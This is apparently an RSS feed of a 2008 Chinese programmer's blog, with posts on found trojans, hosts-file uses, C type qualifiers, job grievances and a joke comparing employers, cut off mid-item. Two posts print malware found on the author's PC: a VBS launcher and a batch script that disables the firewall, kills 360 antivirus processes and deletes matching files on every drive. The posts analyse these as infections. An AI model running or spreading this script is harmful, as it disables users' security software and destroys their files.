<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[我是程序员--Shosh博客]]></title>
<link>http://www.wscxy.com/shosh/</link>
<description><![CDATA[http://wscxy.com  http://wscxy.cn  -“我是程序员”的拼音首字母，欢迎经常光临！]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[shosh.zhu@qisda.com(shosh)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>我是程序员--Shosh博客</title>
	<url>http://www.wscxy.com/shosh/images/logos.gif</url>
	<link>http://www.wscxy.com/shosh/</link>
	<description>我是程序员--Shosh博客</description>
</image>

			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=50</link>
			<title><![CDATA[扫描出病毒]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[电脑综合]]></category>
			<pubDate>Thu,14 Aug 2008 09:55:05 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=50</guid>
		<description><![CDATA[<p>今天对C盘进行了彻底地扫描，终于有找到了木马文件。</p>
<p>360提示发现C:\Documents and Settings\Shosh.Zhu\Local Settings\Temp\Gameeeeeee.pif，打开该目录，发现在该文件旁边，还有一个名为Gameeeeeee.vbs文件，其内容为</p>
<p>'I LOVE gameee TEAM'I LOVE gameee TEAM<br />
Set Love_gameee = CreateObject(&quot;Wscript.Shell&quot;)'I LOVE gameee TEAM<br />
'I LOVE gameee TEAM'I LOVE gameee TEAM<br />
Love_gameee.run (&quot;C:\DOCUME~1\Shosh.Zhu\LOCALS~1\Temp\Gameeeeeee.pif&quot;)<br />
'I LOVE gameee TEAM'I LOVE gameee TEAM</p>
<p>可以看出就是用来运行Gameeeeeee.pif的。这家伙还挺可爱，注释中说自己爱gameee，还隔一行说两次。搜索了一下gameee，原来是一款游戏，当然不知道他所指的是不是就是这款游戏的名字。呵呵，我没玩过，所以对游戏不大熟悉。感觉有点像泡泡堂。</p>
<p>
<table cellspacing="0" cellpadding="4" width="100%" align="center" border="0">
    <tbody>
        <tr>
            <td class="contentheading">Gameee Online ( 三国爆爆堂)</td>
        </tr>
    </tbody>
</table>
<table cellspacing="0" cellpadding="4" width="96%" align="center" border="0">
    <tbody>
        <tr>
            <td><span class="detailsText">《三国爆爆堂》是一款线上休闲游戏，玩家角色必须佈置隔一段时间会爆炸伤人的「爆爆」，藉此来消灭对手或炸毁某个目标，从而获得胜利。　游戏中主要分為以个人技术决定胜负的「自由组队竞技赛」，和侧重团队配合的「大型战略争夺战」2 种玩法。游戏中区分為新手频道、高手们的自由频道，专门為活动设置的活动频道和特殊玩法的特殊频道，玩家可以依照自己的能力选择适合的频道进行对战。</span></td>
        </tr>
    </tbody>
</table>
</p>
<p>后来还扫到了2个，一个是com文件，另一个是exe文件，真是可恶！</p>
<p>平时扫描只是快速扫一下，不会对整个文件系统做扫描，所以都没有扫描到。今天对C盘扫了一下，才发现这些病毒，其他盘没扫，太费时间了。</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=49</link>
			<title><![CDATA[Win 2000操作中Hosts文件的作用]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[电脑综合]]></category>
			<pubDate>Wed,13 Aug 2008 08:47:44 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=49</guid>
		<description><![CDATA[<p>　　很多用户都知道在Window系统中有个Hosts文件（没有后缀名），在Windows 98系统下该文件在Windows目录，在Windows 2000/XP系统中位于C:\Winnt\System32\Drivers\Etc 目录中。该文件其实是一个纯文本的文件，用普通的文本编辑软件如记事本等都能打开。 <br />
<br />
　　用记事本打开hosts文件，首先看见了微软对这个文件的说明。这个文件是根据TCP/IP for Windows 的标准来工作的，它的作用是包含IP地址和Host name(主机名)的映射关系，是一个映射IP地址和Host name(主机名)的规定，规定要求每段只能包括一个映射关系，IP地址要放在每段的最前面，空格后再写上映射的Host name(主机名)。对于这段的映射说明用&ldquo;#&rdquo;分割后用文字说明。 <br />
<br />
　　现在让我们来看看Hosts在Windows中是怎么工作的。 <br />
<br />
　　我们知道在网络上访问网站，要首先通过DNS服务器把网络域名（www.XXXX.com）解析成61.XXX.XXX.XXX的IP地址后，我们的计算机才能访问。要是对于每个域名请求我们都要等待域名服务器解析后返回IP信息，这样访问网络的效率就会降低，而Hosts文件就能提高解析效率。根据Windows系统规定，在进行DNS请求以前，Windows系统会先检查自己的Hosts文件中是否有这个地址映射关系，如果有则调用这个IP地址映射，如果没有再向已知的DNS服务器提出域名解析。也就是说Hosts的请求级别比DNS高。 <br />
<br />
　　知道了Hosts文件的工作方式，那在具体使用中它有哪些作用呢? <br />
<br />
　　1、加快域名解析 <br />
<br />
　　对于要经常访问的网站，我们可以通过在Hosts中配置域名和IP的映射关系，这样当我们输入域名计算机就能很快解析出IP，而不用请求网络上的DNS服务器。 <br />
<br />
　　2、方便局域网用户 <br />
<br />
　　在很多单位的局域网中，会有服务器提供给用户使用。但由于局域网中一般很少架设DNS服务器，访问这些服务要输入难记的IP地址，对不少人来说相当麻烦。现在可以分别给这些服务器取个容易记住的名字，然后在Hosts中建立IP映射，这样以后访问的时候我们输入这个服务器的名字就行了。 <br />
<br />
　　3、屏蔽网站 <br />
<br />
　　现在有很多网站不经过用户同意就将各种各样的插件安装到你的计算机中，有些说不定就是木马或病毒。对于这些网站我们可以利用Hosts把该网站的域名映射到错误的IP或自己计算机的IP，这样就不用访问了。我们在Hosts写上以下内容： <br />
<br />
　　127.0.0.1 #屏蔽的网站 <br />
　　0.0.0.0 #屏蔽的网站 <br />
<br />
　　这样计算机解析域名就解析到本机或错误的IP，达到了屏蔽的目的。 <br />
<br />
　　4、顺利连接系统 <br />
<br />
　　对于Lotus的服务器和一些数据库服务器，在访问时如果直接输入IP地址那是不能访问的，只能输入服务器名才能访问。那么我们配置好Hosts文件，这样输入服务器名就能顺利连接了。 <br />
<br />
　　最后要指出的是，Hosts文件配置的映射是静态的，如果网络上的计算机更改了请及时更新IP地址，否则将不能访问。 <br />
&nbsp;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=48</link>
			<title><![CDATA[电脑今天偶感病毒]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[电脑综合]]></category>
			<pubDate>Tue,12 Aug 2008 20:13:48 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=48</guid>
		<description><![CDATA[<p>今天不知道怎么回事，电脑只要一build工程，就很容易死掉（其实不是完全死，就是电脑很忙碌，导致除了移动鼠标有效，其余动作均无反应），这可以以前基本上不会发生的事情。</p>
<p>怀疑电脑中毒，所以也用360随便扫描了一下木马，没发现可疑之处。晚上开机提示360防火墙启动失败，想起今天的怪症，重新扫描了一下，终于找到了一个可疑文件，是C:\Program Files\Common Files\Microsoft Shared\MSInfo目录下的&nbsp;mfc.bat，我将其打开，可到如下代码：</p>
<p>@echo off<br />
set s=TASKKILL<br />
copy %0 %windir%\system32\cmd.bat<br />
attrib %windir%\system32\cmd.bat +r +s +h<br />
net stop sharedaccess &gt;nul<br />
%s% /im 360* /f &gt;nul<br />
%s% /im RStray /f &gt;nul<br />
net stop Shadow&quot; &quot;System&quot; &quot;Service<br />
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z<br />
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q &gt;nul<br />
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q &gt;nul<br />
for %%a in (c %alldrive%) do del %%a:\RStray* /f /s /q &gt;nul</p>
<p>看来该批处理还主要针对&nbsp;360来的，由于它扫描各个硬盘，试图找到含有360等关键字的所有文件并试图将其删除，而我的电脑都分区到 I 盘了，而且每个盘文件都狂多，所以执行该段程序需要消耗很多资源，于是就很容易导致死机了。</p>
<p>不过从中可以看出一点：千万不要给重要的文件起太起眼的名字哦（比如含有&ldquo;360&rdquo;之类的），不然很有可能被这些恶意程序给破坏掉的哦。</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=47</link>
			<title><![CDATA[C语言类型修饰符]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[C/C++]]></category>
			<pubDate>Sun,10 Aug 2008 13:45:33 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=47</guid>
		<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在一般的C教科书中，可以见到<font color="#ff0000">6</font>种类型修饰符，分别是<font color="#4b0082">:</font>&nbsp;<font color="#0000ff">auto</font><font color="#4b0082">,</font>&nbsp;<font color="#0000ff">const</font><font color="#4b0082">,</font>&nbsp;<font color="#0000ff">register</font><font color="#4b0082">,</font>&nbsp;<font color="#0000ff">static</font><font color="#4b0082">,</font>&nbsp;<font color="#0000ff">volatile</font><font color="#4b0082">,</font>&nbsp;<font color="#0000ff">extern</font><font color="#4b0082">.</font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;局部变量除非显式指明为<font color="#0000ff">static</font><font color="#4b0082">,</font>&nbsp;否则默认为<font color="#0000ff">auto</font>，所以一般不会在代码中使用类型修饰符<font color="#0000ff">auto</font><font color="#4b0082">.</font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在后编译器时代，优化器可以合理的分配寄存器，所以一般不会在代码中使用类型修饰符<font color="#0000ff">register</font><font color="#4b0082">.</font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">extern</font>只用于声明全局变量，用法单一。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;本节将主要介绍<font color="#0000ff">const</font><font color="#4b0082">,</font>&nbsp;<font color="#0000ff">static</font>和<font color="#0000ff">volatile</font><font color="#4b0082">.</font><br />
<br />
<br />
<font color="#ff0000">1</font><font color="#4b0082">.</font>&nbsp;<font color="#0000ff">const</font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;首先需要注意的是，<font color="#0000ff">const</font>修饰的是在它前面的类型，如果它前面没有类型，那它修饰的是紧跟着它的那个类型。<br />
例如：<br />
<font color="#4b0082"><b>(</b></font>a<font color="#4b0082"><b>)</b></font><font color="#0000ff">const</font>&nbsp;<font color="#0000ff">int</font>&nbsp;i&nbsp;<font color="#4b0082">=</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082">;</font>&nbsp;和&nbsp;<font color="#4b0082"><b>(</b></font>b<font color="#4b0082"><b>)</b></font><font color="#0000ff">int</font>&nbsp;<font color="#0000ff">const</font>&nbsp;i&nbsp;<font color="#4b0082">=</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082">;</font>&nbsp;是完全一样的。<br />
在<font color="#4b0082"><b>(</b></font>a<font color="#4b0082"><b>)</b></font>中，<font color="#0000ff">const</font>前面没有类型，它就修饰它后面的那个<font color="#0000ff">int</font>类型。在<font color="#4b0082"><b>(</b></font>b<font color="#4b0082"><b>)</b></font>中，<font color="#0000ff">const</font>修饰它前面的<font color="#0000ff">int</font>类型，两者没有任何区别。<br />
再看另一个稍复杂一点的例子，下面两条语句却不相同：<br />
<font color="#4b0082"><b>(</b></font>c<font color="#4b0082"><b>)</b></font><font color="#0000ff">const</font>&nbsp;<font color="#0000ff">int</font>&nbsp;<font color="#4b0082">*</font>pi&nbsp;<font color="#4b0082">=</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082">;</font><br />
<font color="#008000">/*&nbsp;相当于int&nbsp;const&nbsp;*pi&nbsp;=&nbsp;0;&nbsp;pi是一个指向const&nbsp;int的指针，复引用此运算符为得到一个const&nbsp;int的类型，该类型不能作为左值，在该语句后使用类似于*pi&nbsp;=&nbsp;1的操作将导致编译错误。但该变量本身并不具备const属性，可以使用pi&nbsp;=&nbsp;&amp;i的操作。可用于访问只读存储器。*/</font>&nbsp;<br />
<font color="#4b0082"><b>(</b></font>d<font color="#4b0082"><b>)</b></font><font color="#0000ff">int</font><font color="#4b0082">*</font>&nbsp;<font color="#0000ff">const</font>&nbsp;pi&nbsp;<font color="#4b0082">=</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082">;</font><br />
<font color="#008000">/*&nbsp;pi是一个指向int类型的const指针，复引用此运算符为得到一个int类型，该类型可以作为左值，在该语句可以使用类似于*pi&nbsp;=&nbsp;1的操作，但该变量本身具备const属性，使用pi&nbsp;=&nbsp;&amp;i的操作将导致编译错误。可用于访问固定位置的存储器。*/</font><br />
再看一个更复杂的例子：<br />
<font color="#4b0082"><b>(</b></font>e<font color="#4b0082"><b>)</b></font><font color="#0000ff">const</font>&nbsp;<font color="#0000ff">int</font><font color="#4b0082">*</font>&nbsp;<font color="#0000ff">const</font>&nbsp;pi&nbsp;<font color="#4b0082">=</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082">;</font><br />
<font color="#008000">/*&nbsp;pi和*pi均不能作为左值。它只适合于读取某个固定位置的只读存储器&nbsp;*/</font><br />
<br />
<font color="#0000ff">const</font>还有下列典型用法<font color="#4b0082">:</font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#4b0082">*</font>&nbsp;用于参数列表，通常修饰的是指针类型，表明该函数不会试图对传入的地址进行写操作。例如：<br />
<font color="#0000ff">void</font>&nbsp;<font color="#4b0082">*</font>memcpy<font color="#4b0082"><b>(</b></font><font color="#0000ff">void</font>&nbsp;<font color="#4b0082">*,</font>&nbsp;<font color="#0000ff">const</font>&nbsp;<font color="#0000ff">void</font>&nbsp;<font color="#4b0082">*,</font>&nbsp;size_t<font color="#4b0082"><b>)</b></font><font color="#4b0082">;</font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#4b0082">*</font>&nbsp;用于返回值，通常是一个指向只读区域的指针。例如：<br />
<font color="#0000ff">const</font>&nbsp;datatype_t&nbsp;<font color="#4b0082">*</font>get_fixed_item<font color="#4b0082"><b>(</b></font><font color="#0000ff">int</font>&nbsp;index<font color="#4b0082"><b>)</b></font><font color="#4b0082">;</font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#4b0082">*</font>&nbsp;给固定不变的数据<font color="#4b0082"><b>(</b></font>例如码表<font color="#4b0082"><b>)</b></font>加上只读属性，在某些情况下可以减小ram的开销。<br />
<br />
<br />
<font color="#ff0000">2</font><font color="#4b0082">.</font><font color="#0000ff">static</font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">static</font>用于全局变量声明和局部变量声明具有完全不同的语义，不得不说，这是C语言设计中的一个不合理之处。当<font color="#0000ff">static</font>用于修饰全局变量声明<font color="#4b0082"><b>(</b></font>或函数声明，可以认为函数声明就是声明一个指向代码段的指针，该指针的值最后由链接时决定，从这个意义上说，函数声明也是一种全局变量声明<font color="#4b0082"><b>)</b></font>，它表示该变量具有文件作用域，只能被该源文件的代码引用，不能被其他源文件中的代码访问。在编译时引起的实际变化是被<font color="#0000ff">static</font>修饰的变量不会被写入目标文件的输出节，在链接时解析其他模块中的未定义符号时不会被引用到。它的反义词是<font color="#0000ff">extern</font>。<br />
例如：<br />
<font color="#4b0082">------</font>main<font color="#4b0082">.</font>c<font color="#4b0082">---</font><br />
<font color="#0000ff">extern</font>&nbsp;<font color="#0000ff">int</font>&nbsp;a<font color="#4b0082"><b>(</b></font><font color="#0000ff">void</font><font color="#4b0082"><b>)</b></font><font color="#4b0082">;</font><br />
<font color="#0000ff">int</font>&nbsp;main<font color="#4b0082"><b>(){</b></font>&nbsp;<font color="#0000ff">return</font>&nbsp;a<font color="#4b0082"><b>()</b></font><font color="#4b0082">;</font>&nbsp;<font color="#4b0082"><b>}</b></font><br />
<font color="#4b0082">------</font>a<font color="#4b0082">.</font>c<font color="#4b0082">------</font><br />
<font color="#008000">/*&nbsp;link&nbsp;will&nbsp;fail&nbsp;unless&nbsp;remove&nbsp;&ldquo;static&rdquo;&nbsp;modifier&nbsp;*/</font><br />
<font color="#0000ff">static</font>&nbsp;<font color="#0000ff">int</font>&nbsp;a<font color="#4b0082"><b>(</b></font><font color="#0000ff">void</font><font color="#4b0082"><b>)</b></font>&nbsp;<font color="#4b0082"><b>{</b></font>&nbsp;<font color="#0000ff">return</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082">;</font>&nbsp;<font color="#4b0082"><b>}</b></font><br />
<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当<font color="#0000ff">static</font>用于修饰局部变量声明，它表示该变量不是分配在该函数的活动记录中，而是分配在全局的数据段<font color="#4b0082"><b>(</b></font>或bss段<font color="#4b0082"><b>)</b></font>中。简单的说，就是被<font color="#0000ff">static</font>修饰的局部变量实际上并不是局部变量，而是具有函数作用域的全局变量，除了只能在定义它的函数内访问外<font color="#4b0082"><b>(</b></font>这是由C语法决定的<font color="#4b0082"><b>)</b></font>，它的运行时特征和全局变量完全一样，函数返回不会影响它的状态，它的初始化仅有一次，发生在程序的装载时，而不是在每次函数调用的时候初始化。它的反义词是<font color="#0000ff">auto</font>。<br />
例如<font color="#4b0082">,</font>&nbsp;下面这段函数返回自己被调用了多少次：<br />
<font color="#0000ff">int</font>&nbsp;callee<font color="#4b0082"><b>(</b></font><font color="#0000ff">void</font><font color="#4b0082"><b>)</b></font>&nbsp;<font color="#4b0082"><b>{</b></font>&nbsp;<br />
&nbsp;<font color="#0000ff">static</font>&nbsp;<font color="#0000ff">int</font>&nbsp;times_called&nbsp;<font color="#4b0082">=</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082">;</font><br />
&nbsp;<font color="#0000ff">return</font>&nbsp;<font color="#4b0082"><b>(</b></font><font color="#4b0082">++</font>&nbsp;times_called<font color="#4b0082"><b>)</b></font><font color="#4b0082">;</font><br />
<font color="#4b0082"><b>}</b></font><br />
<br />
<br />
<font color="#ff0000">3</font><font color="#4b0082">.</font><font color="#0000ff">volatile</font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">volatile</font>修饰符的作用是告诉优化器不能优化这个变量的读写操作，一定要为这个变量的读写操作生成代码。<br />
例如：<br />
<font color="#008000">/*&nbsp;延时操作&nbsp;*/</font><br />
<font color="#0000ff">int</font>&nbsp;foo<font color="#4b0082"><b>(</b></font><font color="#0000ff">void</font><font color="#4b0082"><b>)</b></font>&nbsp;<font color="#4b0082"><b>{</b></font>&nbsp;<br />
&nbsp;<font color="#008000">/*&nbsp;100次减法后返回&nbsp;*/</font><br />
&nbsp;<font color="#0000ff">volatile</font>&nbsp;<font color="#0000ff">int</font>&nbsp;i&nbsp;<font color="#4b0082">=</font>&nbsp;<font color="#ff0000">100</font><font color="#4b0082">;</font>&nbsp;<font color="#008000">/*(a)*/</font><br />
&nbsp;<font color="#0000ff">while</font>&nbsp;<font color="#4b0082"><b>(</b></font>i&nbsp;<font color="#4b0082">&gt;</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082"><b>)</b></font>&nbsp;i<font color="#4b0082">--;</font>&nbsp;&nbsp;<font color="#008000">/*(b)*/</font><br />
&nbsp;<font color="#0000ff">return</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082">;</font><br />
<font color="#4b0082"><b>}</b></font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在无<font color="#0000ff">volatile</font>修饰的情况下，因为变量i的变化对上下文无影响，所以优化器很可能会省略掉对i操作的代码，而只生成<font color="#0000ff">return</font>&nbsp;<font color="#ff0000">0</font>的代码，加上<font color="#0000ff">volatile</font>可以保证编译器一定为语句<font color="#4b0082"><b>(</b></font>a<font color="#4b0082"><b>)</b></font>和<font color="#4b0082"><b>(</b></font>b<font color="#4b0082"><b>)</b></font>生成代码，达到延时的目的。<br />
<br />
<font color="#008000">/*&nbsp;设备状态判定&nbsp;*/</font><br />
<font color="#0000ff">int</font>&nbsp;uart_write_char<font color="#4b0082"><b>(</b></font><font color="#0000ff">int</font>&nbsp;c<font color="#4b0082"><b>)</b></font>&nbsp;<font color="#4b0082"><b>{</b></font>&nbsp;<br />
&nbsp;<font color="#008000">/*&nbsp;向串口发送寄存器写入待发送字符&nbsp;*/</font><br />
&nbsp;<font color="#4b0082">*</font><font color="#4b0082"><b>(</b></font><font color="#0000ff">volatile</font>&nbsp;<font color="#0000ff">unsigned</font>&nbsp;<font color="#0000ff">int</font>&nbsp;<font color="#4b0082">*</font><font color="#4b0082"><b>)</b></font>UART_TX_REG&nbsp;<font color="#4b0082">=</font>&nbsp;c<font color="#4b0082">;</font><br />
&nbsp;<font color="#008000">/*&nbsp;判断是否已发送*/</font><br />
&nbsp;<font color="#0000ff">while</font>&nbsp;<font color="#4b0082"><b>(</b></font>&nbsp;<font color="#4b0082"><b>(</b></font><font color="#4b0082">*</font><font color="#4b0082"><b>(</b></font><font color="#0000ff">volatile</font>&nbsp;<font color="#0000ff">unsigned</font>&nbsp;<font color="#0000ff">int</font>&nbsp;<font color="#4b0082">*</font><font color="#4b0082"><b>)</b></font>UART_STATUS_REG&nbsp;<font color="#4b0082">&amp;</font>&nbsp;TX_BIT<font color="#4b0082"><b>)</b></font>&nbsp;<font color="#4b0082">!=</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082"><b>)</b></font><font color="#4b0082">;</font>&nbsp;<font color="#008000">/*(c)*/</font><br />
&nbsp;<font color="#0000ff">return</font>&nbsp;<font color="#ff0000">0</font><font color="#4b0082">;</font><br />
<font color="#4b0082"><b>}</b></font><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在语句<font color="#4b0082"><b>(</b></font>c<font color="#4b0082"><b>)</b></font>中，如果不使用<font color="#0000ff">volatile</font>，优化器可能会因为在两次读取UART_STATUS_REG之间没有对UART_STATUS_REG的写操作而将读取操作外提到循环体外而导致死循环。<br />
&nbsp;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=46</link>
			<title><![CDATA[just a wisper on job]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[心情随笔]]></category>
			<pubDate>Sun,10 Aug 2008 11:05:32 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=46</guid>
		<description><![CDATA[<p>Yeah, I have worked for more than one year&nbsp;in Qisda(known as old Benq)--the start of my working career. It is true that&nbsp;I have gained one-year working experience and lots of working skills, including technical skill of computer programming and skills&nbsp;on&nbsp;how to make a practical plan, how to communicate with other team members, how to solve a problem in an efficiant way, how to perform well in a team, and how to ... which comforts me so much.</p>
<p>However, I am paid as a new comer and treated as an old worker of more then two years working experience. As a member in Framework Team, I have got lots kinds of problems to deal with, without my own application(Okey, I have already programmed an application together with another colleague). Widgets, forms, variants, memory leakage problems and so on are all of framework job which is global for MMI and serves widgets, forms, variants and so on&nbsp;for&nbsp;applications. After the&nbsp;<font class="engi">resignation</font>&nbsp;of an&nbsp;experienced&nbsp;colleague&nbsp;in charge of internationalization, key mapping and input methods, I&nbsp;would be probably chosen to shoulder parts of his working for which is more like a framework job. It&nbsp;was proved by the problem of T9 input methed.</p>
<p>It&nbsp;was assigned by the project leader who knows or needs to consider&nbsp;nothing about how much others were paid and, who just assigns a proper job to a proper person, so we can impute nothing to either project leader or other related ones, but to the firm itself.</p>
<p>Sorry for saying so much!</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=45</link>
			<title><![CDATA[美资，台资，国有企业比较]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[疯狂搞笑]]></category>
			<pubDate>Sat,09 Aug 2008 14:36:16 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=45</guid>
		<description><![CDATA[<div>主题: 美资，台资，国有企业比较</div>
<div>&nbsp;</div>
<div>关于法人代表</div>
<div>美资企业不一定是美国人开的。</div>
<div>国有企业不一定是国有的。</div>
<div>台资企业却一定是台湾人的。</div>
<div>&nbsp;</div>
<div>关于文化</div>
<div>美资企业说自己是人性化管理，可是只有在里面的人才知道，过的一点都不轻松。一个字，累。</div>
<div>台资企业说自己是军事化管理，这是唯一在它的宣传里面没有骗人的地方。</div>
<div>国有企业天天学习，可是他们真的不知道自己的公司有什么象样的文化。</div>
<div>&nbsp;</div>
<div>关于督导</div>
<div>美资企业叫做audit，如果被大陆主管audit到，会被警告，如果被老美audit到，会被狂批，还会被拿到会上作为事例。</div>
<div>台资企业也叫audit，规则叫5s。如果被audit到，会被一堆相干不相干的人在会上讨论，无非是告诉你如果不怎样就会怎样怎样。</div>
<div>国有企业叫卫生检查，如果不是例行的打扫卫生，那就说明有上级领导要来检查了。</div>
<div>&nbsp;</div>
<div>关于加班</div>
<div>美资员工加班都在家里，说是五点下班，睡觉可能要到十点甚至更晚。</div>
<div>台资员工加班都在公司，说是五点下班，六点还不能走，不是开会，就是要加班。尽管可能什么事情也没有。</div>
<div>国有企业，科长想要五点开个会，才发现四点半办公室就没人了。</div>
<div>&nbsp;</div>
<div>关于工资</div>
<div>美资企业开五千块，一两千都要花在吃饭，坐车，穿衣上面了。面子呀。</div>
<div>台资企业开三千块，交通补贴，住房补贴都在里面，加班费原来是按照两千算的。通常的说法叫底薪。</div>
<div>国有企业开一千块，实际到手两千多，尽管效益很糟糕，可是奖金却比工资高。</div>
<div>&nbsp;</div>
<div>关于干部</div>
<div>美资企业基层主管都是大陆人，他们觉得自己的工作不错，可是过得很累。</div>
<div>台资企业中层以上都是台湾人，他们觉得自己在大陆高人一等。尽管在台湾过得很差。</div>
<div>国有企业高干都是有钱人，亏的是国家的，赚的是自己的。</div>
<div>&nbsp;</div>
<div>关于升职</div>
<div>美资企业里要升职，英语要说得棒，报表要做得强，业务要做得好。</div>
<div>台资企业里要升职，流程要做得棒，KPI要写得强。马屁要拍得好</div>
<div>&nbsp;</div>
<div>国有企业里要升职，人缘要混的棒，马屁要拍得强，礼品要送的好。</div>
<div>&nbsp;</div>
<div>关于跳槽</div>
<div>美资企业员工跳槽，他们说的是美国，想的是绿卡。没有拿过美元工资总觉得人生缺少点什么。</div>
<div>台资企业员工跳槽，想的只是欧美企业。<span>如果工资涨幅没有一千块坚决不去。</span></div>
<div>国有企业员工跳槽，你说什么？ 跳槽？跳出去的话会不会丢了现在的福利，会不会找不到比现在好的工作？？</div>
<div>&nbsp;</div>
<div>关于最近理想</div>
<div>美资企业员工最近经常想的是，那个品牌的车好像跌了不少阿，尽管他们中的绝大多数人都买不起。</div>
<div>台资企业员工最近经常想的是，再干两年就可以攒够房子的首付了。（汗）</div>
<div>国有企业员工最近经常想的是，老王去年考评已经加了20块的工资，凭什么这次还是他。</div>
<div>&nbsp;</div>
<div>关于请客</div>
<div>美资企业老板请客，基本上都是类似快餐厅的地方，要不就是买点小意思到办公室。省钱。</div>
<div>台资企业老板请客，一年一次，叫尾牙。</div>
<div>国有企业老板请客，发生这种事情的概率接近零。一旦有，老板员工花的都不是自己的钱。所以到嘴的都是好东西。</div>
<div>&nbsp;</div>
<div>关于抽奖</div>
<div>美资企业员工不抽奖。如果要开party，抽中号码的要表演节目。就像学校的班会。</div>
<div>台资企业员工尾牙时抽奖，一等奖5k-10k不等。很热闹。大奖奖金将分6到12个月分发。但台资习惯造就的文化是：<span>那些没有中奖的人会觉得自己受到了不公平待遇。</span></div>
<div>国有企业没有抽奖，但是有文艺表演或电影，通常会贴个时间地点的通知。领导一般不参加。参加表演的人会发件衣服或杯子什么的。</div>
<div>&nbsp;</div>
<div>关于过年</div>
<div>美资企业过春节也放假，但过得比较浓重的是圣诞节。如果是小公司，老板会请大家吃巧克力。或者有装饰类的小礼物。没有红包</div>
<div>台资企业过春节，一般7天假，没有红包，如果有，在开工那天。<span>不会超过</span>20块。外地回家的要另外请，但这个时间很难。</div>
<div>国有企业过春节是员工最开心的时候，明的是一个星期，实际大家都知道，刚开始几天报个到就可以溜掉了。</div>
<div>&nbsp;</div>
<div>关于病假</div>
<div>美资企业员工如果生病，可以休息且不扣钱，老板的观念是，赶鸭子上架效率会很低。问题是，员工很少要求休息。业务压力太大啊（真矛盾）</div>
<div>台资企业规定也有病假，扣一半的工资。但同时会规定，<span>需要二级以上医院证明（干）</span></div>
<div>国有企业员工这点非常像台资企业，有规定但很不实用。非常不人性化。</div>
<div>&nbsp;</div>
<div>关于未来</div>
<div>在美资企业干十年，口袋有几十万，有房，可能有车。可是比别人都显得苍老。</div>
<div>在台资企业干十年，口袋有好几万，有房，但欠贷款，估计还有五年就能还清。</div>
<div>在国有企业干十年，自以为过得不错，有很多美好的回忆，没钱，有负担，担心下岗。</div>
<div>&nbsp;</div>
<div>关于孩子</div>
<div>美资企业员工，没有时间关心小孩的成绩，通常是因为三十多岁才要小孩。那些白了头发还在送小孩上小学的都是这类人。</div>
<div>台资企业员工，孩子成绩不好的原因是自己没有太多时间关心，加班太多，有心无力。</div>
<div>国有企业员工，孩子成绩还不错，下次一定要考得更好，将来考上大学，不要像他爹我过得这么辛苦。</div>
<div>&nbsp;</div>
<div>关于早饭</div>
<div>美资企业员工，早饭在9点，老板开完会以后，偷偷溜出去吃。</div>
<div>台资企业员工，<span>早饭在班车上，又想睡懒觉，又要赶时间。</span></div>
<div>国有企业员工，早饭在家里，六点起来，自己做。</div>
<div>&nbsp;</div>
<div>关于午饭</div>
<div>美资企业午饭基本自理，公司没有这样的义务。老美其实一点都不傻。</div>
<div>台资企业午饭免费，仰或要交两块钱。<span>宣传</span>5块标准的饭菜就像小店里3块的样。全部需要自己出的一定是其它方面也非常苛刻的公司。</div>
<div>国有企业在这一点上非常像美资（汗自己一个），自己掏钱。想让公司出？门都没有。</div>
<div>&nbsp;</div>
<div>关于加班费</div>
